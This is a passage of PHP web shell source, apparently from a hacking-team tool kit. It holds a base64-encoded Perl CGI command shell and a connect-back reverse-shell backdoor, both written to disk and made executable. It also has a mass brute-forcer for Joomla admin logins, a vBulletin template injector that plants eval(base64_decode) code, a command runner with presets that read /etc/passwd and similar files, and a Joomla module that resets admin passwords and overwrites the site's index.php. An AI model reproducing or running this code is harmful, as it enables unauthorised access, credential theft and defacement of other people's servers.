zcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("izo.cin",0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
<meta name="author" content="RetnOHacK" />
<meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
<meta name="description" content="RetnOHacK #Procoder'z Team Albanian" />
<center>
</br></br>
<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data">
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font class="d1">User :</font></th>
<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font>
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font >
<input class="inputzbut" type="submit" name="x" value="start" id="d4">
</font></td></tr><br>
tanks for procoder'z team albanian<br></center></table>
</form></center>
<?
@set_time_limit(0);
if($_POST['x']){
echo "<hr>";
$sites = explode("
",$_POST["sites"]); // Get Sites
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt
$Attack = new Joomla_brute_Force(); // Active Class
foreach($w0rds as $pwd){
foreach($sites as $site){
$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
flush();flush();
}
}
}
# Class & Function'z
function txt_cln($value){ return str_replace(array("
","
"),"",$value); }
class Joomla_brute_Force{
public function check_it($site,$user,$pass){ // print result
if(eregi('com_config',$this->post($site,$user,$pass))){
echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f);
flush();
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
}
public function post($site,$user,$pass){ // Post -> user & pass
$token = $this->extract_token($site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
public function extract_token($site){ // get token from source for -> function post
$source = $this->get_source($site);
preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
return $token[1][0];
}
public function get_source($site){ // get source for -> function extract_token
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
}
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<b><font color="#00FFFF">+--=[ VB Index Changer ]=--+</font></b>
</div><br>
<?
if(empty($_POST['index'])){
echo "<center><FORM method=\"POST\">";
echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
echo("UPDATE template SET template ='".$set_index."' ") ;
$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
<?php
echo "<center/><br/><b><font color=#00FFFF>-=[ Command Bypass Exploit ]=-</font></b><br>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#00FFFF><b><font color="#00FFFF">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#00FFFF">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jodexer'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
<?php
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
if ($_POST['form_action'])
{
$text=file_get_contents($_POST['file']);
$username=entre2v2($text,"public $user = '","';");
$password=entre2v2($text,"public $password = ', '","';");
$dbname=entre2v2($text,"public $db = ', '","';");
$dbprefix=entre2v2($text,"public $dbprefix = '","';");
$site_url=($_POST['site_url']);
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$co=randomt();
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($dbprefix);
echo("<br>");
*/
$co=randomt();
if ($_POST['form_action'])
{
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
mysql_select_db($dbname,$link) ;
$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
echo("<br>[+] Changing admin password to 123456789");
$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
if ( $req )
{
#################################################################
###################### V1.6 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
$data = mysql_fetch_array($req);
$template_id=$data["extension_id"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[~] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.6 END ######################
#################################################################
}
else
{
#################################################################
###################### V1.5 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
